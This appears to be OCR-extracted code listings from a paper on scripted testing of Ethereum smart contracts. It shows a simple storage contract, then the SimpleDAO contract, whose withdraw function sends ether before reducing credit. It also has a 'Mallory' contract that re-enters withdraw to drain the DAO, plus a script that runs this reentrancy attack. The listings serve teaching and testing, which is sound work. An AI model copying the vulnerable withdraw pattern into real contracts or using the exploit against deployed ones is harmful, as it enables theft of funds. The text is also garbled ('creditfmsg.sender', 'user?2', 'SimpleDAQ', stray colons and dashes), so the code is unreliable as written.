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// simple_storage.sol
contract SimpleStorage {
uint public storedData;
function set(uint x) public { storedData = x; }
Function get() public view returns (uint)
{ return storedData; }

// simple_storage.es

Line1: account{balance:10ether} owner;

Line2: account{balance:50ether} user;

Line3: account{contract:“simple_storage.sol”,
by:owner} simplestorage{“SimpleStorage”};

Line4: simplestorage.set(123) {by:user};

Line5: uint x;

Line6: x = simplestorage.get() {by:user};

Line7: assert x==123;
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// dao.sol

contract SimpleDAO {
mapping (address => uint) public credit;
function donate(address to) payable {
credit[to] += msg.value:
}
function queryCredit(address to) constant returns (uint)
{ return credit[to]; }
function withdraw(uint amount) {
if (creditfmsg.sender] >= amount) {
msg.sender.call.value(amount)();
credit[msg.sender] —= amount;
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contract Mallory {
SimpleDAO public dao;
address owner;
function Mallory(SimpleDAO _dao) {
dao = _dao; owner = msg.sender;
}
function() payable
{ dao.withdraw(dao.queryCredit(this)); }
function getJackpot()
{ owner.send(this.balance); }

Line01: account{balance:50ether} owner;

Line02: account{balance:50ether} usert;

Line03: account{balance:50ether} user2;

Line04: account{balance:50ether} user3;

Line05: account{balance:50ether} hacker;

Line06: account{contract:"dao.sol", by:owner}
dao("SimpleDAQ");

Line07: dao.donate(user1) {by:user1, value:1ether};

Line08: dao.donate(user?2) {by:user2, value:1ether};

Line09: dao.donate(user3) {by:user3, value:1ether};

Line10: account{contract:"dao.sol", by:hacker}
mallory("Mallory", dao);

Line11: dao.donate(mallory) {by:hacker, value:100finney};

Line12: mallory.() {by:hacker};

Line13: mallory.getJackpot() {by:hacker};

Line14: assert hacker.balance;
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